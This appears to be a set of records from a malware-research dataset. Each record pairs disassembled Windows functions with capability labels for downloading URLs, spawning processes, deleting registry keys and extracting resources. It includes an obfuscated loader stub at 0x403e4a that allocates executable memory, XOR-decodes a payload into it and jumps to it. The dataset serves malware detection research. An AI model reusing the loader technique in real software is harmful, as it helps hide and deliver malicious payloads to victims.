joyce8/EMBER2024-capa huggingface dataset:
Function at 0x68441e20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6844603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x68446034]
sub esp, 4
test ebx, ebx
je 0x68441e6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x68441e64
test esi, esi
je 0x68441e64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x68441e40
mov dword [esp], 0x6844603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x68442050
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x684441dc
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x684420a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x68442178
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x684420de
cmp eax, 4
jne 0x68442100
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x684420ee
cmp edx, 4
je 0x684420ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.68442050
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x403e59
pop dword [ebp - 0x48]
mov eax, 0x3c016103
add eax, 0xc43edd56
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x8d0dded0
add dword [ebp - 0x58], 0xc144667b
mov dword [ebp - 0x54], 0x447d659c
sub dword [ebp - 0x54], 0x124a1957
mov dword [ebp - 0x50], 0xd2202b1
add dword [ebp - 0x50], 0x3f2a417d
mov dword [ebp - 0x4c], 0xe20111f9
sub dword [ebp - 0x4c], 0xe20111f9
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x7e56bc45
sub dword [ebp - 0x58], 0x9e452ef
mov dword [ebp - 0x54], 0xbc03f294
add dword [ebp - 0x54], 0x85686ee1
mov dword [ebp - 0x50], 0x6820f54e
add dword [ebp - 0x50], 0xfb4e771e
mov dword [ebp - 0x4c], 0xce070f25
add dword [ebp - 0x4c], 0x31f8f0db
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x4017bf48
add eax, 0xc028b160
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x35bd1
push 0
call eax
mov ecx, 0xba472536
add ecx, 0x45b91ec1
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x48]
mov esi, 0xc98904dd
xor dword [ebp - 0x40], 0xc626382
mov edx, dword [ebx]
sub dword [ebp - 0xc], eax
xor edx, esi
add dword [ebp - 0x28], 0x114ef586
mov dword [edi], edx
add dword [ebp - 0x34], eax
add edi, 0x9edfa675
sub edi, 0x9edfa671
add ebx, 0xd87d2394
add ebx, 0x2782dc70
loop 0x403f6c
add eax, 0xff62d981
add eax, 0x9e292e
xor ebx, ebx
add ebx, eax
add eax, 0x1a2d1f8e
add eax, 0xe5d2e077
mov ecx, 0xf5643a00
add ecx, 0xadbc600
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40b6a0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ba45
mov eax, dword fs:[0]
push eax
sub esp, 0x51c
mov eax, dword [0x491120]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x518], esi
mov dword [ebp - 0x524], 0
push 0x13
mov edi, 1
push 0x474b80
mov ecx, 0x492804
mov dword [ebp - 4], edi
call fcn.004031f0
call fcn.0042a9c4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40b714
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov edx, dword [ebp + 0xc]
push 0
push 0
lea ecx, [ebp - 0x520]
push ecx
push edx
push 0
mov dword [ebp - 0x524], edi
call sub.urlmon.dll_URLOpenBlockingStreamW
mov ebx, 0x500
jmp 0x40b750
mov eax, dword [ebp - 0x520]
mov ecx, dword [eax]
lea edx, [ebp - 0x528]
push edx
push ebx
lea edx, [ebp - 0x510]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
mov dword [ebp - 0x51c], eax
call fcn.0042a9c4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
je 0x40b70a
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x514], eax
mov ecx, dword [eax - 8]
mov edx, 1
sub edx, dword [eax - 4]
sub ecx, ebx
or ecx, edx
mov byte [ebp - 4], 2
jge 0x40b7bc
push ebx
lea ecx, [ebp - 0x514]
call fcn.00409580
mov eax, dword [ebp - 0x514]
cmp dword [eax - 8], ebx
jl 0x40b8a6
mov dword [eax - 0xc], ebx
mov byte [eax + 0x500], 0
mov ecx, 0x140
lea esi, [ebp - 0x510]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
cmp dword [eax - 8], ebx
jl 0x40b8a6
mov dword [eax - 0xc], ebx
push 0x20
lea ecx, [ebp - 0x514]
mov byte [eax + 0x500], 0
call fcn.00409cd0
push 8
lea ecx, [ebp - 0x514]
call fcn.00409cd0
push 0xa
lea ecx, [ebp - 0x514]
call fcn.00409cd0
mov esi, dword [ebp - 0x514]
mov eax, dword [esi - 0xc]
mov edi, dword [ebp - 0x518]
push eax
push esi
mov ecx, edi
call fcn.00409e00
lea eax, [esi - 0x10]
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40b850
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x51c]
test eax, eax
jl 0x40b863
cmp eax, 1
jne 0x40b750
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40b886
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044dfec
mov esp, ebp
pop ebp
ret 8
push 0x80070057
call fcn.00401090
int3
Function at 0x40d570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46c018
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x491120]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x17
push 0x474e6c
mov ecx, 0x492804
mov dword [ebp - 4], 0
call fcn.004031f0
mov eax, dword [ebp + 8]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d5eb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044dfec
mov esp, ebp
pop ebp
ret 4
Function at 0x41b090
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46de49
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x491120]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [eax + 0x18], 0xf
mov dword [eax + 0x14], esi
mov dword [ebp - 0x18], eax
mov byte [eax + 4], 0
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], 1
cmp dword [ebp + 0x10], esi
je 0x41b246
mov eax, dword [ebp + 0xc]
mov cl, byte [eax]
dec dword [ebp + 0x10]
mov byte [ebp + esi - 0x14], cl
mov bl, byte [ebp - 0x13]
inc esi
inc eax
mov dword [ebp + 0xc], eax
cmp esi, 3
jne 0x41b175
mov al, byte [ebp - 0x14]
mov dl, al
shr dl, 2
and al, 3
shl al, 4
mov byte [ebp - 0x10], dl
mov cl, bl
shr cl, 4
add al, cl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x12]
mov dl, bl
and dl, 0xf
add dl, dl
mov cl, al
add dl, dl
shr cl, 6
add dl, cl
and al, 0x3f
mov byte [ebp - 0xe], dl
mov byte [ebp - 0xd], al
xor esi, esi
movzx edi, byte [ebp + esi - 0x10]
cmp edi, dword [0x48f7c0]
jbe 0x41b146
call fcn.0044e158
cmp dword [0x48f7c4], 0x10
mov eax, dword [0x48f7b0]
jae 0x41b159
mov eax, 0x48f7b0
mov dl, byte [eax + edi]
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 0x1c], dl
mov eax, dword [ebp - 0x1c]
push eax
push 1
call fcn.00403570
inc esi
cmp esi, 4
jl 0x41b134
xor esi, esi
cmp dword [ebp + 0x10], 0
jne 0x41b0e4
test esi, esi
je 0x41b243
cmp esi, 3
jge 0x41b1a6
mov ecx, 3
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x14]
push 0
push eax
call fcn.0044db40
mov bl, byte [ebp - 0x13]
add esp, 0xc
mov al, byte [ebp - 0x14]
mov dl, al
mov cl, bl
and al, 3
shl al, 4
shr cl, 4
add al, cl
shr dl, 2
and bl, 0xf
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x12]
add bl, bl
mov byte [ebp - 0x10], dl
mov dl, al
add bl, bl
shr dl, 6
add bl, dl
mov byte [ebp - 0xe], bl
and al, 0x3f
lea edi, [esi + 1]
xor ebx, ebx
mov byte [ebp - 0xd], al
test edi, edi
jle 0x41b226
movzx eax, byte [ebp + ebx - 0x10]
cmp eax, dword [0x48f7c0]
jbe 0x41b1f4
call fcn.0044e158
cmp dword [0x48f7c4], 0x10
mov ecx, dword [0x48f7b0]
jae 0x41b208
mov ecx, 0x48f7b0
movzx eax, byte [ebp + ebx - 0x10]
mov al, byte [ecx + eax]
mov byte [ebp - 0x1c], al
mov ecx, dword [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0x18]
push 1
call fcn.00403570
inc ebx
cmp ebx, edi
jl 0x41b1e2
cmp esi, 3
jge 0x41b243
mov edi, 3
sub edi, esi
mov ecx, dword [ebp - 0x18]
push 0x3d
push 1
call fcn.00403570
sub edi, 1
jne 0x41b232
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41e4e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46e4b7
mov eax, dword fs:[0]
push eax
sub esp, 0x6c8
mov eax, dword [0x491120]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
xor ebx, ebx
push 0xb
mov dword [ebp - 0x628], ebx
push str.getTempPath
mov ecx, 0x492804
mov dword [ebp - 0x640], esi
mov dword [ebp - 4], ebx
call fcn.004031f0
lea eax, [ebp - 0x21c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp byte [ebp + 0xc], bl
je 0x41e560
lea ecx, [ebp - 0x21c]
push ecx
mov ecx, esi
call fcn.00404810
jmp 0x41e681
lea edx, [ebp - 0x624]
push edx
push ebx
push 0x473bc4
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea ecx, [ebp - 0x624]
push ecx
mov ecx, esi
call fcn.00404810
jmp 0x41e681
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044dfec
mov esp, ebp
pop ebp
ret
Function at 0x423330
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ec60
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x491120]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
cmp dword [esi + 0x8c], 0
mov dword [ebp - 4], 0
je 0x42339f
call fcn.00422f20
test eax, eax
je 0x4233b3
lea eax, [ebp - 0x18]
push eax
push 4
push esi
push 0x423230
push 0
push 0
call fcn.004504ec
add esp, 0x18
mov dword [esi + 0xa8], eax
test eax, eax
je 0x42339f
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0xb0]
test eax, eax
je 0x42339f
mov ecx, dword [eax]
lea edx, [ebp - 0x18]
push edx
push eax
mov eax, dword [ecx + 0x18]
call eax
mov eax, dword [esi + 0xb0]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
push 0
mov edx, dword [edx + 0x20]
mov edi, ecx
neg edi
push edi
mov edi, dword [ebp - 0x18]
push edi
push ecx
mov ecx, dword [esi + 0x68]
push 0
push ecx
mov ecx, dword [esi + 0x64]
push ecx
mov ecx, dword [esi + 0x90]
push 0
push 0
push ecx
push eax
call edx
test eax, eax
jne 0x42339f
push eax
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424160
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46ed80
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x491120]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov dword [ebp - 4], 0
call fcn.004422bd
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov eax, dword [eax + 0xc]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x42425d
call fcn.004422bd
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42425d
call fcn.004422bd
mov eax, dword [eax + 0xc]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push edi
push 0x22
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x424256
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x42424f
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x42424f
push edi
push eax
push ecx
call fcn.0044e710
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ecx, dword [ebp - 0x14]
push edi
push esi
call fcn.00423de0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x425140
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46f047
mov eax, dword fs:[0]
push eax
sub esp, 0x4c0
mov eax, dword [0x491120]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x4251c2
lea eax, [ebp - 0x420]
push eax
push 0x20019
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4251de
cmp eax, 2
jne 0x4251cc
push str.Key_not_found._n
call fcn.004505bb
add esp, 4
mov eax, 1
jmp 0x425683
push str.Error_opening_key._n
call fcn.004505bb
add esp, 4
jmp 0x425681
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [esi + eax*2 - 2], 0x5c
lea ebx, [esi + eax*2]
mov dword [ebp - 0x42c], ebx
je 0x42520c
mov ecx, 0x5c
mov word [ebx], cx
add ebx, 2
xor edx, edx
mov dword [ebp - 0x42c], ebx
mov word [ebx], dx
lea eax, [ebp - 0x438]
push eax
mov eax, dword [ebp - 0x420]
push 0
push 0
push 0
lea ecx, [ebp - 0x428]
push ecx
lea edx, [ebp - 0x21c]
push edx
push 0
push eax
mov dword [ebp - 0x428], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x42565e
jmp 0x425250
mov eax, ebx
mov edi, SysReAllocString
lea edx, [ebp - 0x21c]
mov esi, 0x208
xor ebx, ebx
test esi, esi
je 0x425282
test edi, edi
je 0x425285
movzx ecx, word [edx]
test cx, cx
je 0x425285
mov word [eax], cx
add eax, 2
add edx, 2
dec esi
dec edi
inc ebx
jmp 0x425264
sub eax, 2
mov edx, dword [ebp - 0x424]
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp - 0x430]
push edx
push eax
call fcn.00425140
add esp, 8
test eax, eax
je 0x42564c
lea ecx, [ebp - 0x438]
push ecx
mov ecx, dword [ebp - 0x420]
push 0
push 0
push 0
lea edx, [ebp - 0x428]
push edx
lea eax, [ebp - 0x21c]
push eax
push 0
push ecx
mov dword [ebp - 0x428], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov ebx, dword [ebp - 0x42c]
test eax, eax
je 0x425250
jmp 0x425652
mov ebx, dword [ebp - 0x42c]
mov edi, dword [ebp - 0x430]
mov esi, dword [ebp - 0x424]
xor eax, eax
mov word [ebx - 2], ax
mov ecx, dword [ebp - 0x420]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x4251c2
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044dfec
mov esp, ebp
pop ebp
ret
Function at 0x429550
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push str.Caption
push 0x4739f5
push str.SELECT__FROM_Win32_OperatingSystem
push str.ROOTcimv2
push esi
mov dword [ebp - 4], 0
call fcn.00428770
add esp, 0x14
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x429590
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46f942
mov eax, dword fs:[0]
push eax
sub esp, 0x4b8
mov eax, dword [0x491120]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0x1fc
lea ecx, [ebp - 0x212]
mov dword [ebp - 0x418], ebx
xor eax, eax
push ebx
push ecx
mov dword [ebp - 0x430], edi
mov dword [ebp - 4], ebx
mov word [ebp - 0x214], ax
call fcn.0044db40
add esp, 0xc
push 0x1fe
lea edx, [ebp - 0x214]
push edx
push 0x59
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call fcn.0042a9c4
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x429626
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x214]
mov byte [ebp - 4], 1
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x429645
sub eax, edx
sar eax, 1
push eax
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x41c]
call fcn.004031f0
mov esi, dword [ebp - 0x41c]
add esi, 0xfffffff0
push esi
call fcn.00401e10
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [ebp - 4], bl
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x42969a
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov eax, edi
jmp 0x429797
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044dfec
mov esp, ebp
pop ebp
ret

Function at 0x436469
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4364b0
call fcn.004422bd
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4364b0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4364cc
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00435fe1
mov esi, eax
test edi, edi
je 0x4364ca
test ebx, ebx
je 0x4364ca
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x436c6f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4708e0
call fcn.004507bf
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x436c94
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x436cda
lea ecx, [ebp - 0x10]
call fcn.004028a0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0042a668
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401180
mov eax, esi
call fcn.00450897
ret 8

Function at 0x437553
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x43759b
call fcn.004422bd
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x43759b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4375de
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4375c7
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4375c7
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4375db
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc